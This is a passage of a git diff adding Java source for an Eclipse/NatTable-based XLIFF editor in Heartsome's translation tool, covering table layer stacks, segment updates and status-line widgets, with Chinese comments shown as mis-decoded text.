"LINENUMBER_CELL_LABEL"); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, style, DisplayMode.SELECT, + "LINENUMBER_CELL_LABEL"); + } + + /** + * 定义 Body Layer Stack 中包å«çš„ layers + * @author cheney + * @since JDK1.5 + */ + public class BodyLayerStack extends AbstractLayerTransform { + private DataLayer bodyDataLayer; + + private SelectionLayer selectionLayer; + + private ColumnHideShowLayer columnHideShowLayer; + + private ViewportLayer viewportLayer; + + public BodyLayerStack(IDataProvider dataProvider, boolean isHorizontalLayout) { + if (isHorizontalLayout) { + bodyDataLayer = new DataLayer(dataProvider, 244, 32); + } else { + // 垂直布局时,期望数æ®æ供者为 ISpanningDataProvider,å¦åˆ™æŠ›å‡º UnexpectedTypeExcetion。 + if (dataProvider instanceof ISpanningDataProvider) { + bodyDataLayer = new SpanningDataLayer((ISpanningDataProvider) dataProvider, 244, 32); + } else { + throw new UnexpectedTypeExcetion(MessageFormat.format(Messages + .getString("editor.XLIFFEditorImplWithNatTable.msg6"), dataProvider.getClass().toString())); + } + } + // å–消调整列的功能,因为此功能会引å‘一些问题,如跳转,设置分割点等 + // ColumnReorderLayer columnReorderLayer = new ColumnReorderLayer(bodyDataLayer); + columnHideShowLayer = new ColumnHideShowLayer(bodyDataLayer); + selectionLayer = new SelectionLayer(columnHideShowLayer, false); + + if (isHorizontalLayout) { // 两ç§å¸ƒå±€é‡‡ç”¨ä¸åŒçš„ ViewportLayer + viewportLayer = new HorizontalViewportLayer(selectionLayer); + } else { + viewportLayer = new VerticalViewportLayer(selectionLayer); + } + setUnderlyingLayer(viewportLayer); + + setupSelectionLayer(); // 设置SelectionLayer + } + + /** + * 设置SelectionLayer ; + */ + private void setupSelectionLayer() { + IRowIdAccessor rowIdAccessor = new IRowIdAccessor() { + + public Serializable getRowIdByPosition(int rowPosition) { + int rowIndex = selectionLayer.getRowIndexByPosition(rowPosition); + return handler.getRowId(rowIndex); + } + + public Set getRowIdsByPositionRange(int rowPosition, int length) { + int[] rowIndexs = new int[length]; + for (int i = 0; i < rowIndexs.length; i++) { + rowIndexs[i] = selectionLayer.getRowIndexByPosition(rowPosition + i); + } + return handler.getRowIds(rowIndexs); + } + + public ArrayList getRowIds() { + return handler.getRowIds(); + } + }; + ISelectionModel rowSelectionModel; + if (isHorizontalLayout) { + rowSelectionModel = new HorizontalRowSelectionModel(selectionLayer, rowIdAccessor); + } else { + rowSelectionModel = new VerticalRowSelectionModel(selectionLayer, rowIdAccessor); + } + + // Preserve selection on updates and sort + selectionLayer.setSelectionModel(rowSelectionModel); + selectionLayer.addConfiguration(new XLIFFEditorSelectionLayerConfiguration()); + + // 移除点击列头触å‘全选所有行的 Handler + selectionLayer.unregisterCommandHandler(SelectColumnCommand.class); + + // Provides rows where any cell in the row is selected + ISelectionProvider selectionProvider = new RowSelectionProvider(selectionLayer, true/* åªåœ¨æ•´è¡Œé€‰ä¸­æ—¶è§¦å‘ */); + + // NatTable 选中行改å˜æ—¶è§¦å‘: + selectionProvider.addSelectionChangedListener(new ISelectionChangedListener() { + public void selectionChanged(SelectionChangedEvent event) { + updateStatusLine(); // 更新状æ€æ æ˜¾ç¤ºçš„文本段信æ¯ã€‚ + + // 设置添加文本段到记忆库的å¯ç”¨çŠ¶æ€ + NattableUtil.refreshCommand(AddSegmentToTMPropertyTester.PROPERTY_NAMESPACE, + AddSegmentToTMPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(SignOffPropertyTester.PROPERTY_NAMESPACE, + SignOffPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(UnTranslatedPropertyTester.PROPERTY_NAMESPACE, + UnTranslatedPropertyTester.PROPERTY_ENABLED); + + } + }); + + getSite().setSelectionProvider(selectionProvider); + } + + /** + * 获得 body layer stack 中的 SelectionLayer + * @return ; + */ + public SelectionLayer getSelectionLayer() { + return selectionLayer; + } + + /** + * 获得 body layer stack 中的 BodyDataLayer + * @return ; + */ + public DataLayer getBodyDataLayer() { + return bodyDataLayer; + } + + /** + * 获得 body layer stack 中的 ColumnHideShowLayer + * @return ; + */ + public ColumnHideShowLayer getColumnHideShowLayer() { + return columnHideShowLayer; + } + + /** + * 获得 body layer stack 中的 ViewportLayer + * @return ; + */ + public ViewportLayer getViewportLayer() { + return viewportLayer; + } + + } + + /** + * 定义 Column Header Layer Stack 所包å«çš„ layers + * @author cheney + * @since JDK1.5 + */ + public class ColumnHeaderLayerStack extends AbstractLayerTransform { + + public ColumnHeaderLayerStack(IDataProvider dataProvider) { + DataLayer dataLayer = new DataLayer(dataProvider, 244, 25); + + /** + * Edit By Leakey ä¸ä½¿ç”¨é»˜è®¤é…ç½® + */ + ColumnHeaderLayer colHeaderLayer = new ColumnHeaderLayer(dataLayer, bodyLayer, + bodyLayer.getSelectionLayer(), false); + + /** + * Add By Leakey 添加默认列头的样å¼ï¼ˆå‰æ™¯è‰²ã€èƒŒæ™¯è‰²ç­‰ï¼‰ + */ + colHeaderLayer.addConfiguration(new DefaultColumnHeaderStyleConfiguration() { + public void configureRegistry(IConfigRegistry configRegistry) { + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, cellPainter, + DisplayMode.NORMAL, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_PAINTER, cellPainter, + DisplayMode.NORMAL, GridRegion.CORNER); + + // Normal + Style cellStyle = new Style(); + cellStyle + .setAttributeValue(CellStyleAttributes.BACKGROUND_COLOR, GUIHelper.COLOR_WIDGET_BACKGROUND); + cellStyle.setAttributeValue(CellStyleAttributes.FOREGROUND_COLOR, GUIHelper.COLOR_BLACK); + cellStyle.setAttributeValue(CellStyleAttributes.HORIZONTAL_ALIGNMENT, hAlign); + cellStyle.setAttributeValue(CellStyleAttributes.VERTICAL_ALIGNMENT, vAlign); + cellStyle.setAttributeValue(CellStyleAttributes.BORDER_STYLE, borderStyle); + cellStyle.setAttributeValue(CellStyleAttributes.FONT, GUIHelper.DEFAULT_FONT); + + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.NORMAL, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.NORMAL, GridRegion.CORNER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.SELECT, GridRegion.COLUMN_HEADER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.SELECT, GridRegion.CORNER); + configRegistry.registerConfigAttribute(CellConfigAttributes.CELL_STYLE, cellStyle, + DisplayMode.SELECT, GridRegion.ROW_HEADER); + } + }); + + SortHeaderLayer sortHeaderLayer = new SortHeaderLayer(colHeaderLayer, + new NatTableSortModel(handler), false); + + setUnderlyingLayer(sortHeaderLayer); + } + } + + /** + * Internal property change listener for handling workbench font changes. + */ + class FontPropertyChangeListener implements IPropertyChangeListener { + /* + * @see IPropertyChangeListener#propertyChange(org.eclipse.jface.util.PropertyChangeEvent) + */ + public void propertyChange(PropertyChangeEvent event) { + if (table == null || table.isDisposed()) { + return; + } + String property = event.getProperty(); + + if (net.heartsome.cat.ts.ui.Constants.XLIFF_EDITOR_TEXT_FONT.equals(property)) { + Font font = JFaceResources.getFont(net.heartsome.cat.ts.ui.Constants.XLIFF_EDITOR_TEXT_FONT); + ICellPainter cellPainter = table.getConfigRegistry().getConfigAttribute( + CellConfigAttributes.CELL_PAINTER, DisplayMode.NORMAL, GridRegion.BODY); + + if (cellPainter instanceof TextPainterWithPadding) { + TextPainterWithPadding textPainter = (TextPainterWithPadding) cellPainter; + if (textPainter.getFont() == null || !textPainter.getFont().equals(font)) { + HsMultiActiveCellEditor.commit(true); + textPainter.setFont(font); + autoResize(); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.this); + } + } + } + } + } + + /** + * 支æŒè¿›åº¦æ¡æ˜¾ç¤ºçš„打开文件 + * @author leakey + * @version + * @since JDK1.5 + */ + class OpenFile implements IRunnableWithProgress { + + public OpenFile(List files) { + this.files = files; + } + + private List files; + + private Map openFileResult; + + public Map getOpenFileResult() { + return openFileResult; + } + + public void run(IProgressMonitor monitor) throws InvocationTargetException, InterruptedException { + openFileResult = handler.openFiles(files, monitor); + } + } + + /** + * 释放编辑器,åŒæ—¶é‡Šæ”¾å…¶ä»–相关资æºã€‚ + * @see org.eclipse.ui.part.WorkbenchPart#dispose() + */ + public void dispose() { + // 当该编辑器被释放资æºæ—¶ï¼Œæ£€æŸ¥è¯¥ç¼–辑器是å¦è¢«ä¿å­˜ï¼Œå¹¶ä¸”是å¦æ˜¯åŒæ—¶æ‰“开多个文件,若æˆç«‹ï¼Œåˆ™åˆ é™¤åˆå¹¶æ‰“开所产生的临时文件--robert 2012-03-30 + if (!isStore && isMultiFile()) { + try { + IEditorInput input = getEditorInput(); + IProject multiProject = ResourceUtil.getResource(input).getProject(); + ResourceUtil.getResource(input).delete(true, null); + multiProject.refreshLocal(IResource.DEPTH_INFINITE, null); + + CommonFunction.refreshHistoryWhenDelete(input); + } catch (CoreException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + } + + if (titleImage != null && !titleImage.isDisposed()) { + titleImage.dispose(); + titleImage = null; + } + if (table != null && !table.isDisposed()) { + table.dispose(); + table = null; + } + + if (statusLineImage != null && !statusLineImage.isDisposed()) { + statusLineImage.dispose(); + statusLineImage = null; + } + handler = null; + JFaceResources.getFontRegistry().removeListener(fFontPropertyChangeListener); + NattableUtil.getInstance(this).releaseResource(); + super.dispose(); + System.gc(); + } + + /** + * 得到当å‰æ´»åŠ¨çš„ XLIFF 编辑器实例 + * @return ; + */ + public static XLIFFEditorImplWithNatTable getCurrent() { + try { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorPart editor = page.getActiveEditor(); + if (editor != null && editor instanceof XLIFFEditorImplWithNatTable) { + return (XLIFFEditorImplWithNatTable) editor; + } + } + } + } catch (NullPointerException e) { + LOGGER.error("", e); + e.printStackTrace(); + } + return null; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#updateCell(int, int, java.lang.String) + */ + public void updateCell(int row, int columnIndex, String newValue, String matchType, String quality) + throws ExecutionException { + StyledTextCellEditor editor = HsMultiActiveCellEditor.getTargetStyledEditor(); + if (editor != null && editor.getRowIndex() == (isHorizontalLayout ? row : row * 2 + 1) + && editor.getColumnIndex() == columnIndex) { + editor.viewer.getTextWidget().forceFocus(); + } + ArrayList rowIds = new ArrayList(handler.getRowIds(new int[] { row })); + updateSegments(rowIds, columnIndex, newValue, false, matchType, quality); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#updateCells(int[], int, java.lang.String) + */ + public void updateCells(int[] rows, int columnIndex, String newValue) throws ExecutionException { + ArrayList rowIds = new ArrayList(handler.getRowIds(rows)); + updateSegments(rowIds, columnIndex, newValue, false, null, null); + } + + /** + * 修改文本段。(改æˆä¸åŒçš„值) + * @param map + * key:rowIdï¼›value:新值。 + * @param column + * 列索引。 + * @throws ExecutionException + * ; + */ + public void updateSegments(Map map, int columnIndex, String matchType, String quality) + throws ExecutionException { + updateSegments(map, columnIndex, false, matchType, quality); + } + + /** + * 修改文本段。(改æˆç›¸åŒçš„值) + * @param rowIds + * è¡Œå”¯ä¸€æ ‡è¯†çš„é›†åˆ + * @param columnIndex + * 列索引 + * @param newValue + * 新值 + * @param approved + * 是å¦æ”¹ä¸ºå·²æ‰¹å‡† + * @throws ExecutionException + * ; + */ + public void updateSegments(List rowIds, int columnIndex, String newValue, boolean approved, + String matchType, String quality) throws ExecutionException { + if (!updateCellEditor(columnIndex, newValue, matchType, quality)) { + return; + } + HISTORY.execute(new UpdateSegmentsOperation(this, handler, rowIds, columnIndex, newValue, approved, matchType, + quality), null, null); + NattableUtil.refreshCommand(AddSegmentToTMPropertyTester.PROPERTY_NAMESPACE, + AddSegmentToTMPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(SignOffPropertyTester.PROPERTY_NAMESPACE, SignOffPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(UnTranslatedPropertyTester.PROPERTY_NAMESPACE, + UnTranslatedPropertyTester.PROPERTY_ENABLED); + } + + /** + * 修改文本段。(改æˆä¸åŒçš„值) + * @param map + * key:rowIdï¼›value:新值。 + * @param columnIndex + * 列索引。 + * @param approved + * 是å¦æ”¹ä¸ºå·²æ‰¹å‡† + * @throws ExecutionException + * ; + */ + public void updateSegments(Map map, int columnIndex, boolean approved, String matchType, + String quality) throws ExecutionException { + int rowIndex = HsMultiActiveCellEditor.sourceRowIndex; + if (rowIndex == -1) { + return; + } + if (!isHorizontalLayout) { + rowIndex = VerticalNatTableConfig.getRealRowIndex(rowIndex); + } + String rowId = handler.getRowId(rowIndex); + if (!updateCellEditor(columnIndex, map.get(rowId), matchType, quality)) { + return; + } + HISTORY.execute(new UpdateSegmentsOperation(this, handler, map, columnIndex, approved, matchType, quality), + null, null); + NattableUtil.refreshCommand(AddSegmentToTMPropertyTester.PROPERTY_NAMESPACE, + AddSegmentToTMPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(SignOffPropertyTester.PROPERTY_NAMESPACE, SignOffPropertyTester.PROPERTY_ENABLED); + NattableUtil.refreshCommand(UnTranslatedPropertyTester.PROPERTY_NAMESPACE, + UnTranslatedPropertyTester.PROPERTY_ENABLED); + } + + /** + * 修改å•å…ƒæ ¼ç¼–辑器中的文本。 + * @param columnIndex + * 列索引 + * @param newValue + * 新值 + * @return ; + */ + private boolean updateCellEditor(int columnIndex, String newValue, String matchType, String quality) { + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getFocusCellEditor(); + if (cellEditor == null) { + return false; + } + int rowIndex = cellEditor.getRowIndex(); + int activeCellEditorColumnIndex = cellEditor.getColumnIndex(); + + if (rowIndex == -1) { + return false; + } + if (activeCellEditorColumnIndex == -1) { + return false; + } + if (!isHorizontalLayout) { + // 垂直布局 + int[] selecteds = getSelectedRows(); + int seled = getSelectedRows()[selecteds.length - 1]; + if ((seled * 2) + 1 != rowIndex) { + return false; + } + } else { + if (activeCellEditorColumnIndex != columnIndex) { + return false; + } + } + // 解决“修改æºæˆ–者目标文本时,总是优先修改处于编辑模å¼çš„列â€çš„问题。 + + /** burke 修改å¤åˆ¶æ¥æºåˆ°ç›®æ ‡ä¸­ï¼Œå½“光标在srcå•å…ƒæ ¼ä¸­ï¼Œç‚¹å‡»å¤åˆ¶æ¥æºåˆ°ç›®æ ‡åº”该ä¸èµ·ä½œç”¨ ä¿®æ”¹ä»£ç  æ·»åŠ åˆå¹¶åˆ¤æ–­æ¡ä»¶ !isHorizontalLayout */ + if (activeCellEditorColumnIndex == -1 || (activeCellEditorColumnIndex != columnIndex && !isHorizontalLayout)) { + return false; + } + + UpdateDataBean bean = new UpdateDataBean(newValue, matchType, quality); + cellEditor.setCanonicalValue(bean); + return true; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#getSrcColumnIndex() + */ + public int getSrcColumnIndex() { + return isHorizontalLayout ? 1 : 2; + } + + public int getStatusColumnIndex() { + return isHorizontalLayout ? 2 : 1; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#getTgtColumnIndex() + */ + public int getTgtColumnIndex() { + return isHorizontalLayout ? 3 : 2; + } + + public List getSplitXliffPoints() { + return splitXliffPoints; + } + + /** + * 点击å“质检查结果视图的列表项时,é‡ç½®nattableçš„æŽ’åº robert 2011-11-24 + */ + public void resetOrder() { + if (cmbFilter.getSelectionIndex() != 0) { + cmbFilter.select(0); + boolean isUpdated = handler.doFilter(cmbFilter.getText(), langFilterCondition); + if (isUpdated) { + autoResizeNotColumn(); // 自动调整 NatTable å¤§å° ; + updateStatusLine(); // 更新状æ€æ  + refresh(); + } + } else { + // handler.doFilter(cmbFilter.getText(), langFilterCondition); + handler.resetRowIdsToUnsorted(); // é‡ç½®å¸ƒå±€ + autoResizeNotColumn(); + updateStatusLine(); + } + } + + public void insertCell(int rowIndex, int columnIndex, String insertText) throws ExecutionException { + StyledTextCellEditor editor = HsMultiActiveCellEditor.getTargetStyledEditor(); + int editorRowIndex = editor.getRowIndex(); + if (!isHorizontalLayout) { + editorRowIndex = editorRowIndex / 2; + } + if (editor != null && editorRowIndex == rowIndex && editor.getColumnIndex() == columnIndex) { + editor.insertCanonicalValue(insertText); + editor.viewer.getTextWidget().forceFocus(); + } + } + + public void setStore(boolean isStore) { + this.isStore = isStore; + } + + public List getMultiFileList() { + return multiFileList; + } + + public void jumpToRow(int position, boolean isMultiFiles) { + if (position == 0) { + ViewportLayer viewportLayer = bodyLayer.getViewportLayer(); + HsMultiActiveCellEditor.commit(true); + viewportLayer.doCommand(new SelectCellCommand(bodyLayer.getSelectionLayer(), getTgtColumnIndex(), -1, + false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.this); + } + jumpToRow(position); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#getSelectPureText() + */ + public String getSelectPureText() { + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getFocusCellEditor(); + String selectionText = null; + if (cellEditor != null && !cellEditor.isClosed()) { + StyledText styledText = cellEditor.getSegmentViewer().getTextWidget(); + Point p = styledText.getSelection(); + if (p != null) { + if (p.x != p.y) { + selectionText = cellEditor.getSelectedPureText(); + } else { + selectionText = ""; + } + } + } + + if (selectionText != null) { + // å°†æ¢è¡Œç¬¦æ›¿æ¢ä¸ºç©º + selectionText = selectionText.replaceAll("\n", ""); + } + return selectionText; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#getSelectSrcOrTgtPureText(java.lang.StringBuffer, + * java.lang.StringBuffer) + */ + public void getSelectSrcOrTgtPureText(StringBuffer src, StringBuffer tgt) { + if (src == null || tgt == null) { + return; + } + HsMultiCellEditor hsCellEditor = HsMultiActiveCellEditor.getSourceEditor(); + if (hsCellEditor != null && hsCellEditor.getCellEditor() != null) { + StyledTextCellEditor cellEditor = hsCellEditor.getCellEditor(); + if (!cellEditor.isClosed()) { + StyledText styledText = cellEditor.getSegmentViewer().getTextWidget(); + Point p = styledText.getSelection(); + if (p != null) { + if (p.x != p.y) { + // String selectionText = styledText.getSelectionText(); + String selectionText = cellEditor.getSelectedPureText(); + src.append(selectionText); + } + } + } + } + + hsCellEditor = HsMultiActiveCellEditor.getTargetEditor(); + if (hsCellEditor != null && hsCellEditor.getCellEditor() != null) { + StyledTextCellEditor cellEditor = hsCellEditor.getCellEditor(); + if (!cellEditor.isClosed()) { + StyledText styledText = cellEditor.getSegmentViewer().getTextWidget(); + Point p = styledText.getSelection(); + if (p != null) { + if (p.x != p.y) { + // String selectionText = styledText.getSelectionText(); + String selectionText = cellEditor.getSelectedPureText(); + tgt.append(selectionText); + } + } + } + } + } + + public void redraw() { + table.redraw(); + } + + public TransUnitBean getRowTransUnitBean(int rowIndex) { + if (!isHorizontalLayout) { + rowIndex *= 2; + } + return bodyDataProvider.getRowObject(rowIndex); + } + + public void addPropertyListener(IPropertyListener l) { + if (tagStyleManager != null) { + tagStyleManager.setTagStyle(TagStyle.curStyle); + autoResize(); + refresh(); + } + super.addPropertyListener(l); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#affterFuzzyMatchApplayTarget(int, String, String, String) + */ + public void affterFuzzyMatchApplayTarget(int rowIndex, String targetContent, String matchType, String quality) { + StyledTextCellEditor cellEditor = HsMultiActiveCellEditor.getTargetStyledEditor(); + if (cellEditor != null && cellEditor.getRowIndex() == rowIndex) { + String currentText = cellEditor.getSegmentViewer().getText(); + if (currentText == null || currentText.trim().equals("")) { + UpdateDataBean bean = new UpdateDataBean(targetContent, matchType, quality); + cellEditor.setCanonicalValue(bean); + } + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#highlightedTerms(java.util.List) + */ + public void highlightedTerms(List terms) { + if (terms == null || terms.size() == 0) { + // terms = HsMultiActiveCellEditor.getCacheSegementTerms(cellEditor.getRowIndex()); + // if(terms != null && terms.size() != 0){ + // cellEditor.highlightedTerms(terms); + // } + // HsMultiActiveCellEditor.cacheSegementTerms(HsMultiActiveCellEditor.sourceRowIndex, new + // ArrayList()); + return; + } + HsMultiCellEditor cellEditor = HsMultiActiveCellEditor.getSourceEditor(); + // HsMultiActiveCellEditor.cacheSegementTerms(HsMultiActiveCellEditor.sourceRowIndex, terms); + if (cellEditor != null) { + cellEditor.highlightedTerms(terms); + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.ts.ui.editors.IXliffEditor#refreshWithNonprinttingCharacter(boolean) + */ + public void refreshWithNonprinttingCharacter(boolean isShow) { + HsMultiActiveCellEditor.commit(true); + Activator.getDefault().getPreferenceStore() + .setValue(IPreferenceConstants.XLIFF_EDITOR_SHOWHIDEN_NONPRINTCHARACTER, isShow); + HsMultiCellEditorControl.activeSourceAndTargetCell(this); + this.refresh(); + } + + public Combo getFilterCombo() { + return this.cmbFilter; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorStatusLineItem.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorStatusLineItem.java new file mode 100644 index 0000000..9ee7d8c --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorStatusLineItem.java @@ -0,0 +1,144 @@ +/** + * XLIFFEditorStatusLineContributionItem.java + * + * Version information : + * + * Date:Mar 5, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.action.ContributionItem; +import org.eclipse.jface.action.IContributionManager; +import org.eclipse.jface.action.LegacyActionTools; +import org.eclipse.jface.action.StatusLineLayoutData; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.FontMetrics; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class XLIFFEditorStatusLineItem extends ContributionItem { + + private Label label; + private String text = ""; + private Image image; + public Composite statusLine = null; + + public XLIFFEditorStatusLineItem(String id, String defaultMessage) { + super(id); + this.text = defaultMessage; + } + + public void fill(Composite parent) { + statusLine = parent; + Label speLb = new Label(parent, SWT.SEPARATOR); + label = new Label(parent, SWT.SHADOW_NONE); + +// label.setText(text); + if (image != null) { + label.setImage(image); + } + label.setToolTipText(text); + + Point preferredSize = label.computeSize(SWT.DEFAULT, SWT.DEFAULT); + int widthHint = preferredSize.x; + int heightHint = preferredSize.y; + if (widthHint < 0) { + // Compute the size base on 'charWidth' average char widths + GC gc = new GC(statusLine); + gc.setFont(statusLine.getFont()); + FontMetrics fm = gc.getFontMetrics(); + widthHint = fm.getAverageCharWidth() * 40; + heightHint = fm.getHeight(); + gc.dispose(); + } + + StatusLineLayoutData data = new StatusLineLayoutData(); + data.widthHint = widthHint; + label.setLayoutData(data); + + data = new StatusLineLayoutData(); + data.heightHint = heightHint; + speLb.setLayoutData(data); + } + + public void setText(String text) { + Assert.isNotNull(text); + this.text = LegacyActionTools.escapeMnemonics(text); + if (label != null && !label.isDisposed()) { + label.setText(this.text); + } + if (this.text.length() == 0) { + if (isVisible()) { + setVisible(false); + IContributionManager contributionManager = getParent(); + + if (contributionManager != null) { + contributionManager.update(true); + } + } + } else { + if (!isVisible()) { + setVisible(true); + IContributionManager contributionManager = getParent(); + + if (contributionManager != null) { + contributionManager.update(true); + } + } + } + + } + + public void setText(String text, Image image) { + Assert.isNotNull(image); + Assert.isNotNull(text); + this.text = LegacyActionTools.escapeMnemonics(text); + this.image = image; + if (label != null && !label.isDisposed()) { + label.setText(this.text); + label.setImage(this.image); + } + + if (this.text.length() == 0) { + if (isVisible()) { + setVisible(false); + IContributionManager contributionManager = getParent(); + + if (contributionManager != null) { + contributionManager.update(true); + } + } + } else { + if (!isVisible()) { + setVisible(true); + IContributionManager contributionManager = getParent(); + + if (contributionManager != null) { + contributionManager.update(true); + } + } + } + } + + @Override + public void dispose() { + if(image != null && !image.isDisposed()){ + image.dispose(); + } + super.dispose(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorStatusLineItemWithProgressBar.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorStatusLineItemWithProgressBar.java new file mode 100644 index 0000000..4d0e505 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/editor/XLIFFEditorStatusLineItemWithProgressBar.java @@ -0,0 +1,75 @@ +/** + * XLIFFEditorStatusLineItemWithProgressBar.java + * + * Version information : + * + * Date:Mar 5, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.editor; + +import org.eclipse.core.runtime.Assert; +import org.eclipse.jface.action.StatusLineLayoutData; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.ProgressBar; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class XLIFFEditorStatusLineItemWithProgressBar extends XLIFFEditorStatusLineItem { + + private ProgressBar progressBar; + private int progressValue; + private Label label; + private String defaultMessage; + + public XLIFFEditorStatusLineItemWithProgressBar(String id, String defaultMessage) { + super(id, defaultMessage); + this.defaultMessage = defaultMessage; + } + + public void fill(Composite parent) { + super.fill(parent); + Composite container = new Composite(parent, SWT.NONE); + GridLayout gl = new GridLayout(2, false); + gl.marginWidth = 5; + gl.marginHeight = 3; + container.setLayout(gl); + + progressBar = new ProgressBar(container, SWT.SMOOTH); + GridData gdPprogressBar = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdPprogressBar.heightHint = 16; + gdPprogressBar.widthHint = 130; + progressBar.setLayoutData(gdPprogressBar); + progressBar.setMinimum(0); // 最å°å€¼ + progressBar.setMaximum(100);// 最大值 + progressBar.setSelection(progressValue); + progressBar.setToolTipText(defaultMessage); + + label = new Label(container, SWT.None); + label.setText(progressValue + "%"); + + StatusLineLayoutData data = new StatusLineLayoutData(); + container.setLayoutData(data); + } + + public void setProgressValue(int value) { + Assert.isLegal(value >= 0 && value <= 100); + this.progressValue = value; + if (label != null && !label.isDisposed()) { + label.setText(value + "%"); + progressBar.setSelection(value); + label.getParent().layout(); + } + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/exception/UnexpectedTypeExcetion.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/exception/UnexpectedTypeExcetion.java new file mode 100644 index 0000000..59e693e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/exception/UnexpectedTypeExcetion.java @@ -0,0 +1,49 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.exception; + +/** + * 